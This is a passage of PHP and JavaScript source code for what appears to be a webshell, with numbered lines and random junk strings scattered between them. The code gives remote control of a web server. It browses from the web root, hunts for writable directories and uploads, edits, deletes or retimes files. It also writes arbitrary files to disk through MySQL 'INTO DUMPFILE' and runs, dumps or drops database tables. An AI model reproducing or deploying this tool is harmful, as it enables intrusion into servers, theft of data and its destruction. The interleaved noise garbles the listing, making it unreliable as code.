     
456. }
     9 Z1 r% a/ b0 ]/ s0 d
457. function createfile(nowpath){
     
458.         var filename;
     8 k# W# E2 j9 v' a
459.         filename = prompt('Please input the file name:', '');
     
460.         if (!filename) return;
     
461.         opfile('editfile',nowpath + filename,nowpath);
     
462. }
     6 }- T& |/ T) D) D/ G9 i
463. function opfile(action,opfile,dir){
     + l2 w& W' n9 d* v$ }6 c3 t6 n
464.         $('fileopform').action.value=action;
     2 N9 f9 L, d& _: H  [6 w. `
465.         $('fileopform').opfile.value=opfile;
       o  j) T1 m. K* X7 W
466.         $('fileopform').dir.value=dir;
     - y6 b/ r! i4 C+ X$ ^$ N3 ^
467.         $('fileopform').submit();
     
468. }
     ) p5 F3 I( C# h: v! d9 d. m
469. function godir(dir,view_writable){
     5 w5 p+ U+ P; q+ q* l) j7 @  j
470.         if (view_writable) {
     
471.                 $('godir').view_writable.value=1;
     $ d3 E& a  h% V  s
472.         }
     1 l/ ~1 V" V" ]7 a  w: _4 z' ~3 @
473.         $('godir').dir.value=dir;
     
474.         $('godir').submit();
     
475. }
     5 H6 R9 K3 ]8 w  q0 B
476. </script>
     
477.   <?php
     8 b8 V1 _8 \4 _$ Z" V
478.         tbhead();
     8 d6 B/ h5 d# k; C/ V+ N
479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
     9 x0 l& `$ ]& r* z' b: B
480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
     
481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
     + K. j# I; P# \, i2 l/ |
482.         if ($view_writable) {
     9 p9 z! ^8 ]3 G) t9 ?' I1 N! r, N
483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
     
484.         } else {
     
485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
     # ~$ q# I( d" V$ k/ ]- x
486.         }
     . Q2 H/ ^3 o- c. Y7 p& I  t% r% G
487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
     * j+ ^# G* W$ H) I8 t, o1 s
488.         if (IS_WIN && IS_COM) {
     
489.                 $obj = new COM('scripting.filesystemobject');
     
490.                 if ($obj && is_object($obj)) {
     
491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
     
492.                         foreach($obj->Drives as $drive) {
     3 N3 Z/ |. q/ e! r& e8 o& Z" L' N- e3 j
493.                                 if ($drive->DriveType == 2) {
     
494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
     8 V9 C3 |5 {9 U: x( Z0 @* M$ x- J
495. Free:'.sizecount($drive->FreeSpace).'
     ) n) s. r# h8 J' r9 Y
496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
     ' t& @( q9 j, Z  Z% s- X
497.                                 } else {
     . M) H" l: G: m1 M" @
498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
     ' p% d& n# K2 X8 l2 S
499.                                 }
     $ E7 ?8 C$ m: F. O
500.                         }
     
501.                 }
     
502.         }
     ' P3 Q6 m. {* m" x
503. 
     . ]% T3 q( P* @' Z8 T' W! n
504.         p('</td></tr></form>');
     5 a; V. a$ _; _- Y# y* v
505. 
     
506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
     3 i6 E$ D+ P; n) s: B
507. 
     
508.         //查看所有可写文件和目录
     4 p! r% K$ p; t
509.         $dirdata=array();
     
510.         $filedata=array();
     
511. 
     
512.         if ($view_writable) {
     
513.                 $dirdata = GetList($nowpath);
     - _% U& F4 s# ]6 o3 d
514.         } else {
     5 o6 O, W1 B/ ~2 y8 V
515.                 // 目录列表
     ; }& k9 ~4 G' Y! c! Q# o
516.                 $dirs=@opendir($dir);
     
517.                 while ($file=@readdir($dirs)) {
     
518.                         $filepath=$nowpath.$file;
     4 s# s9 w5 w6 ^3 _6 v( V( V
519.                         if(@is_dir($filepath)){
     " a- ^8 f5 I& K3 i# n. L: P( r
520.                                 $dirdb['filename']=$file;
     
521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
     
522.                                 $dirdb['dirchmod']=getChmod($filepath);
     ( [9 Y8 _- r! H) m' `' B* Z
523.                                 $dirdb['dirperm']=getPerms($filepath);
     $ F9 b! q: n- y$ \6 O3 l
524.                                 $dirdb['fileowner']=getUser($filepath);
     
525.                                 $dirdb['dirlink']=$nowpath;
     
526.                                 $dirdb['server_link']=$filepath;
     
527.                                 $dirdb['client_link']=ue($filepath);
     
528.                                 $dirdata[]=$dirdb;
     
529.                         } else {               
     9 V' ~0 X: X- r# Z1 g5 \
530.                                 $filedb['filename']=$file;
     
531.                                 $filedb['size']=sizecount(@filesize($filepath));
     
532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
     & o; [, t* L9 n) t1 S; m2 b
533.                                 $filedb['filechmod']=getChmod($filepath);
     2 w/ i: f  U$ \( f& W4 u
534.                                 $filedb['fileperm']=getPerms($filepath);
     ( {. L6 \7 c# u  W$ l1 ]5 n' \
535.                                 $filedb['fileowner']=getUser($filepath);
     
536.                                 $filedb['dirlink']=$nowpath;
     7 \* @( x& F6 \" d4 s) f
537.                                 $filedb['server_link']=$filepath;
     5 T9 T( c) q. [* N
538.                                 $filedb['client_link']=ue($filepath);
     5 C7 ^% @3 i9 _; d/ r
539.                                 $filedata[]=$filedb;
     ' Q& l: X; E! E* h' h2 p! @' C6 W
540.                         }
     
541.                 }// while
     " Y# s9 n, S& m* J. r* e& A0 p
542.                 unset($dirdb);
     
543.                 unset($filedb);
     
544.                 @closedir($dirs);
     
545.         }
     
546.         @sort($dirdata);
     
547.         @sort($filedata);
     7 ]$ x( w4 f, [; i; A2 l
548.         $dir_i = '0';
     4 D2 n. G0 X8 |/ R! j! Y# x6 s
549.         foreach($dirdata as $key => $dirdb){
     . A4 o/ N' `0 s+ z+ Z
550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
     
551.                         $thisbg = bg();
     
552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     9 \' f# C7 l* B% b
553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
     
554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
     & Y& s% X3 n% Y) o
555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
     
556.                         p('<td nowrap>--</td>');
     & R+ w1 o$ y$ P' [3 ]3 w9 o. i
557.                         p('<td nowrap>');
       c( J# R5 T3 n9 w7 Z
558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
     . O7 ~% B5 ^) p$ ]4 Q$ t
559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
     
560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
     : b: l0 O. j( n6 y. ~
561.                         p('</tr>');
     
562.                         $dir_i++;
     8 N3 h% G2 `4 g, R8 O( c1 W
563.                 } else {
     2 j. \+ i9 `8 f' f
564.                         if($dirdb['filename']=='..') {
     ! G* V" A4 L2 }, T$ j1 M2 h
565.                                 p('<tr class='.bg().'>');
     1 Q/ C" a& G8 g! {; Z& r  R
566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
     - m* o& L$ G" e4 X, z
567.                                 p('</tr>');
     
568.                         }
     5 D" v; x: F0 T6 U* J
569.                 }
     4 }1 Z0 ^7 \- b: n9 v9 l9 q. u: Q
570.         }
     # f) l( d: m* D( a3 O8 v
571. 
     ; H' C( K4 ?/ L
572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
     7 M  P! |2 u$ t+ k6 K# z
573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
     
574.         makehide('action','file');
       t* }% a0 t! m
575.         makehide('thefile');
     5 l# l& F( y" _" H% ]
576.         makehide('doing');
     
577.         makehide('dir',$nowpath);
     
578.         $file_i = '0';
     
579.         foreach($filedata as $key => $filedb){
     
580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
     
581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
     
582.                         $thisbg = bg();
     
583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     4 P& X, a  i+ g1 n) u
584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
     - a2 f* C( ]% p: S
585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
     
586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');
     * V% Q0 b7 a$ ?" C. x: A+ x
587.                         p('<td nowrap>'.$filedb['size'].'</td>');
     
588.                         p('<td nowrap>');
     # Q( r- E9 _9 L# r$ u, N) S8 O
589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
     , M& q5 W" \. x$ Z( Q" `
590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
     
591.                         p('<td nowrap>');
     ' [& r6 D3 Q, d0 X
592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
     
593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
     
594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
     & N3 m- ~' j3 T7 n
595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
     
596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
     
597.                         p('</td></tr>');
     
598.                         $file_i++;
     + F2 z7 T2 D. \
599.                 }
     
600.         }
     
601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
     
602.         p('</form></table>');
     5 x7 _* g; S. k* E, }) h4 g# X% p
603. }// end dir
     
604. 
     5 ^8 P, d  \- y- [+ s
605. elseif ($action == 'sqlfile') {
     9 K$ H, U. Q& X. W+ Z
606.         if($doing=="mysqlupload"){
     
607.                 $file = $_FILES['uploadfile'];
     
608.                 $filename = $file['tmp_name'];
     . Z& T% w8 F% Z; u6 L
609.                 if (file_exists($savepath)) {
     : P5 z8 M& T7 \$ U: `: b, t
610.                         m('The goal file has already existed');
     + |" P9 ]- F3 }% g" w1 L3 ]- d
611.                 } else {
     ! @7 _1 d* w* c7 r
612.                         if(!$filename) {
     9 Q& V9 R5 p: N2 G0 Z8 P9 w
613.                                 m('Please choose a file');
     4 |- o& j8 n. P1 ?5 X
614.                         } else {
     " d& v. U  r3 }
615.                                 $fp=@fopen($filename,'r');
     
616.                                 $contents=@fread($fp, filesize($filename));
     
617.                                 @fclose($fp);
     
618.                                 $contents = bin2hex($contents);
     . Y$ T5 R0 Y( A( R
619.                                 if(!$upname) $upname = $file['name'];
     + m, |- W: W% ]: X& w& U" b- g+ G. h
620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
     ' Z. }6 |$ b% j/ V
622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
     
623.                         }
     : a/ v* L4 r1 i  D
624.                 }
     
625.         }
     4 V! y) @8 s+ q/ U, `$ U; q  e
626. ?>
     
627. <script type="text/javascript">
     
628. function mysqlfile(doing){
     ) A- V  M$ E# Q" S
629.         if(!doing) return;
     
630.         $('doing').value=doing;
     4 Y& ^  J! L: y! o+ y
631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
     ' d7 i: |0 u0 C9 \# A3 }
632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
     * Z4 S3 j) K  K6 [" K! w: A
633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
     
634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
     
635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
     
636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
     6 n2 e- v  y  f% v; R5 A
637.         $('mysqlfile').submit();
     
638. }
     
639. </script>
     3 }8 A; L( M5 a. O: A
640. <?php
     " R, B2 i% \' L0 S- v. y- N6 c& l
641.         !$dbhost && $dbhost = 'localhost';
     3 f! c% V' x& {, i9 m
642.         !$dbuser && $dbuser = 'root';
     
643.         !$dbport && $dbport = '3306';
     
644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
     
645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
     
646.         makehide('action','sqlfile');
     : b* H1 p) C: G3 P
647.         p('<p>');
     # j* C+ S" @. |1 i: }
648.         p('DBHost:');
     , t; N7 _: P/ I& _0 O9 l
649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
     
650.         p(':');
     $ H/ n# h6 ]1 `5 h, G6 H/ Z+ q4 ?
651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
     
652.         p('DBUser:');
     
653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
     5 L* V2 B; y1 C* b% z
654.         p('DBPass:');
     
655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
     8 k# C2 m! ~' T3 B, d
656.         p('DBName:');
     
657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
     / [( D( @  ^. ]7 P" \" Y: s
658.         p('DBCharset:');
     : r1 _/ @$ K) q0 V) S# S7 _( T' ~" G. a
659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
     
660.         p('</p>');
     
661.         formfoot();
     2 o" e* n! J: s& W: I. t- ^
662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
     
663.         p('<h2>Upload file</h2>');
     ; z' z1 z# L' J3 @
664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');
     
665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
     & L/ I7 g  S+ B- Q5 e
666.         p('<h2>Download file</h2>');
     $ u7 y7 w3 F+ s5 Z, _- Q7 s% h1 f, _+ b
667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
     
668.         makehide('dbhost');
     
669.         makehide('dbport');
     / a0 ~# [& T( P* z3 @
670.         makehide('dbuser');
     4 J' A; @. B& ?' i5 f  b
671.         makehide('dbpass');
     6 u: Q2 P* T  @' H2 N5 n  A9 ^
672.         makehide('dbname');
     
673.         makehide('charset');
     2 `( j$ L( l+ c9 [) F' }" q, j% B3 M
674.         makehide('doing');
     
675.         makehide('action','sqlfile');
     
676.         p('</form>');
     
677. }
     ' I" o* X# G1 `
678. 
     9 @) t# {9 ?& x& Q. r; M1 \$ G
679. elseif ($action == 'sqladmin') {
     9 R4 [+ o6 H8 `: q% F4 z7 o+ H- p
680.         !$dbhost && $dbhost = 'localhost';
     
681.         !$dbuser && $dbuser = 'root';
     
682.         !$dbport && $dbport = '3306';
     
683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
     
684.         if(isset($dbhost)){
     2 ^4 B5 y: _9 H
685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
     
686.         }
     
687.         if(isset($dbuser)) {
     6 U. p- y' G" x0 B+ m7 y( Q) X
688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
     
689.         }
     4 V; J6 }- R+ w# q3 a* U
690.         if(isset($dbpass)) {
     
691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
     
692.         }
       B) R! q( K# q6 U( }6 k- u4 F
693.         if(isset($dbport)) {
     
694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
     0 z/ S8 q4 G2 U/ ?/ X
695.         }
     5 w) e6 e$ ~" P$ w
696.         if(isset($dbname)) {
     
697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
     , ]4 u8 `" y% o; N
698.         }
     
699.         if(isset($charset)) {
     ' N! S5 F* [& h1 m
700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
     3 ]( w0 ~1 J3 t/ d
701.         }
     8 J3 A6 o3 W# v
702. 
     
703.         if ($doing == 'backupmysql' && $saveasfile) {
     6 f% i, x  a) y5 H5 A0 r; F6 E$ v2 e
704.                 if (!$table) {
     3 Z+ R% v2 x, |0 c4 L3 H
705.                         m('Please choose the table');
     
706.                 } else {
     
707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     , W0 W) Z8 W0 h) `+ e
708.                         $table = array_flip($table);
     
709.                         $fp = @fopen($path,'w');
     & U$ G4 [# f2 M- R) \! s
710.                         if ($fp) {
     
711.                                 $result = q('SHOW tables');
     5 ]3 o$ a. i$ v9 M
712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');
     
713.                                 $mysqldata = '';
     
714.                                 while ($currow = mysql_fetch_array($result)) {
     
715.                                         if (isset($table[$currow[0]])) {
     3 G1 G7 X; D8 e/ Q
716.                                                 sqldumptable($currow[0], $fp);
     
717.                                         }
       Z. L0 W  G9 {9 a- R' V, y
718.                                 }
     
719.                                 fclose($fp);
     
720.                                 $fileurl = str_replace(SA_ROOT,'',$path);
     3 @( ?% Z5 k# Q
721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
     
722.                                 mysql_close();
     3 r) J: h3 |: t9 b4 }# F
723.                         } else {
     - n7 a  }! J( P1 d2 S: y
724.                                 m('Backup failed');
     
725.                         }
     / q  ]1 K1 F  W$ V5 J' g
726.                 }
     ' A, t9 w; i' ^6 R! f& s$ f3 o1 B
727.         }
     ( z' J. l! z& g' _
728.         if ($insert && $insertsql) {
     
729.                 $keystr = $valstr = $tmp = '';
     
730.                 foreach($insertsql as $key => $val) {
     
731.                         if ($val) {
     
732.                                 $keystr .= $tmp.$key;
     & H/ P1 R3 P# p5 X% j1 r0 Z
733.                                 $valstr .= $tmp."'".addslashes($val)."'";
     5 O5 l7 y1 Y" p) b  I& N) L
734.                                 $tmp = ',';
     2 L6 y0 D. U" i& |+ D
735.                         }
       N$ f- F8 M% N" K( s3 l' M7 D% M
736.                 }
     
737.                 if ($keystr && $valstr) {
     
738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
     % G" Q- D( a/ j! G' }
740.                 }
     
741.         }
     & [+ Q! o% a3 @" P  C' d
742.         if ($update && $insertsql && $base64) {
     . @; U8 Q) Q# H
743.                 $valstr = $tmp = '';
     
744.                 foreach($insertsql as $key => $val) {
     . z  _  k5 j: F  u/ G
745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
     $ H5 N8 ~4 ~0 h% o+ ~1 P
746.                         $tmp = ',';
     + \/ I4 N8 w. h7 s' {! e1 c
747.                 }
     0 a3 k4 r& v4 H0 _' d- P6 f
748.                 if ($valstr) {
     
749.                         $where = base64_decode($base64);
     
750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
     
752.                 }
     
753.         }
     * i; a( H2 N2 [( x7 S9 H& a
754.         if ($doing == 'del' && $base64) {
     
755.                 $where = base64_decode($base64);
     
756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";
     : g3 V0 z% \- A9 x
757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
       y6 K  O  `+ F8 k
758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
     
759.         }
     
760. 
     
761.         if ($tablename && $doing == 'drop') {
     
762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     0 \" j1 b' d2 t. c
763.                 if (q("DROP TABLE $tablename")) {
     , P8 i) o" j: \! [8 l
764.                         m('Drop table of success');
     
765.                         $tablename = '';
     
766.                 } else {
     # F! O/ s0 y& L$ ~! i. h/ k
767.                         m(mysql_error());
     ' ~: t6 q0 |# I
768.                 }
     
769.         }
     # L/ x+ K# F; Q% K
770. 
     
771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
     
772. 
     
773.         formhead(array('title'=>'MYSQL Manager'));
     
774.         makehide('action','sqladmin');
     ) y5 I2 n1 H- Z( q8 b  S0 [3 L7 U
775.         p('<p>');
     
776.         p('DBHost:');
     
777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
     
778.         p(':');
     
779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
     
780.         p('DBUser:');
     % W& o( t* a0 _0 q
781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
     $ Q  J% A/ f! T% u5 a: b) G5 T, [) I
782.         p('DBPass:');
     
783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
     
784.         p('DBCharset:');
     
785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
     # _* n% t. f. n& {3 f
786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
     
787.         p('</p>');
     1 T7 e# q0 r) a8 S! N
788.         formfoot();
     3 p0 @" A( a7 B" y
789. ?>
       ^8 }. E' V! s  u5 W
790. <script type="text/javascript">
       X; g* k/ Y1 ?# O4 u) q3 _
791. function editrecord(action, base64, tablename){
     + Q5 q. M8 Z8 G! u; z8 O
792.         if (action == 'del') {               
     . l+ D8 M& Y" Q+ `: @$ s
793.                 if (!confirm('Is or isn\'t deletion record?')) return;
     
794.         }
     , F- B6 G5 ~6 h6 `8 D0 d" D& i, j3 k
795.         $('recordlist').doing.value=action;
     
796.         $('recordlist').base64.value=base64;
     1 D, a! O5 l# M4 A% E
797.         $('recordlist').tablename.value=tablename;
     
798.         $('recordlist').submit();
     
799. }
     * O/ o9 Q, `3 B$ @, w9 s+ T- J, }6 N
800. function moddbname(dbname) {
     0 n7 d" N' M5 e& {; D* s+ W
801.         if(!dbname) return;
     
802.         $('setdbname').dbname.value=dbname;
     
803.         $('setdbname').submit();
     
804. }
     5 {2 n  g, {* c& o: ^4 ~
805. function settable(tablename,doing,page) {
     
806.         if(!tablename) return;
     ( X6 f# e. R- L
807.         if (doing) {
     1 }$ c* W3 N" Q7 R
808.                 $('settable').doing.value=doing;
     8 S/ x4 M2 T( k
809.         }
     9 L% b% G2 ?8 S
810.         if (page) {
     
811.                 $('settable').page.value=page;
     
812.         }
     
813.         $('settable').tablename.value=tablename;
     4 Y( P1 `: d+ F2 @! U+ e
814.         $('settable').submit();
     - ^' S5 S; {4 S, f  K
815. }
     
816. </script>
     
817. <?php
     
818.         //操作记录
     - o1 W* {; Y8 R5 k
819.         formhead(array('name'=>'recordlist'));
     
820.         makehide('doing');
     6 F! Y/ ?4 ~3 F. f
821.         makehide('action','sqladmin');
     ( T" @" t0 J: A5 G8 P
822.         makehide('base64');
     & G! B1 O  n) c1 r2 I4 I
823.         makehide('tablename');
     
824.         p($dbform);
     5 y# L" h! ]4 o. G
825.         formfoot();
     + f2 ]( n2 K0 m" Y1 y2 ~4 o; P4 ?8 D) a
826.         //选定数据库
     
827.         formhead(array('name'=>'setdbname'));
     
828.         makehide('action','sqladmin');
     
829.         p($dbform);
     
830.         if (!$dbname) {
     / H% t6 F: w8 x4 p
831.                 makehide('dbname');
     
832.         }
     
833.         formfoot();
     
834.         //选定表
     & M( B' U9 Y2 z9 h* O. b" f
835.         formhead(array('name'=>'settable'));
     & B+ Z- ?- F5 x( T; S6 x
836.         makehide('action','sqladmin');
     
837.         p($dbform);
     
838.         makehide('tablename');
     ) [" N# R8 N1 U" W; C& y
839.         makehide('page',$page);
     7 U1 @6 ], ~( W: h# N* r# M
840.         makehide('doing');
     
841.         formfoot();
     
842.         $cachetables = array();       
     ( T# C+ o# D& [1 z4 D! }$ y5 ?
843.         $pagenum = 30;
     
844.         $page = intval($page);
     ' Z7 U* f2 l1 T4 {9 q0 Q
845.         if($page) {
     9 C5 C& I$ |) i: `( j, x2 L
846.                 $start_limit = ($page - 1) * $pagenum;
     
847.         } else {
     ; g( H8 p5 m" ^* W
848.                 $start_limit = 0;
     $ b) g+ n5 y1 m+ x; J$ Y
849.                 $page = 1;
     , T2 j" K7 ~3 q9 B& f- P& V! M7 a
850.         }
     # [: M2 G$ o4 U( X  Q0 [( ~
851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
     6 z: N% C$ Q. G* B. y& G
852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
       C9 O8 a3 G' g7 H, Q; d
853.                 //获取数据库信息
     - X' O0 l2 \) `2 k6 W% ]- _
854.                 $mysqlver = mysql_get_server_info();
     
855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
     
856.                 $highver = $mysqlver > '4.1' ? 1 : 0;
     5 P& p6 _5 V, A& Z
857.                 //获取数据库
     
858.                 $query = q("SHOW DATABASES");
     * o7 h2 H7 @, l3 |4 }3 b3 \
859.                 $dbs = array();
     . _8 h9 ]; b+ \/ y
860.                 $dbs[] = '-- Select a database --';
     
861.                 while($db = mysql_fetch_array($query)) {
     - F; y( v* B" J% }' Z+ M, k
862.                         $dbs[$db['Database']] = $db['Database'];
     9 O, B  C8 t' t! }- s7 N! S
863.                 }
     1 q/ W4 v2 M  V" g1 [0 y5 y1 N
864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
     
865.                 $tabledb = array();
     
866.                 if ($dbname) {
     + N  c+ l" Q* D8 `8 y: e3 t
867.                         p('<p>');
     
868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
     . N# c  Q4 A5 ~6 _
869.                         if ($tablename) {
     
870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
       k! E0 j6 j& Q$ R
871.                         }
     ; @4 z: x5 ?9 X) Q5 L6 B
872.                         p('</p>');
     
873.                         mysql_select_db($dbname);
     $ h- E8 {! i/ i
874.                         $getnumsql = '';
     
875.                         $runquery = 0;
     * {# S) U0 g8 o& p  b4 s' b3 h
876.                         if ($sql_query) {
     7 m5 [: n& u5 F. i4 Y
877.                                 $runquery = 1;
     
878.                         }
     # K+ W2 R* v9 ]3 E: ^
879.                         $allowedit = 0;
     * X0 c3 E/ {4 N7 y8 D
880.                         if ($tablename && !$sql_query) {
     1 h# R  Q4 _+ U  Y
881.                                 $sql_query = "SELECT * FROM $tablename";
     
882.                                 $getnumsql = $sql_query;
     , y* j$ h" e' |: R0 F0 y6 t
883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
     9 B9 j. F, R0 m. k3 B9 L' O
884.                                 $allowedit = 1;
     3 y; p; ~. G& R6 d5 n
885.                         }
     
886.                         p('<form action="'.$self.'" method="POST">');
     $ L) j$ T4 Q2 J/ V- }& {6 s3 R/ U
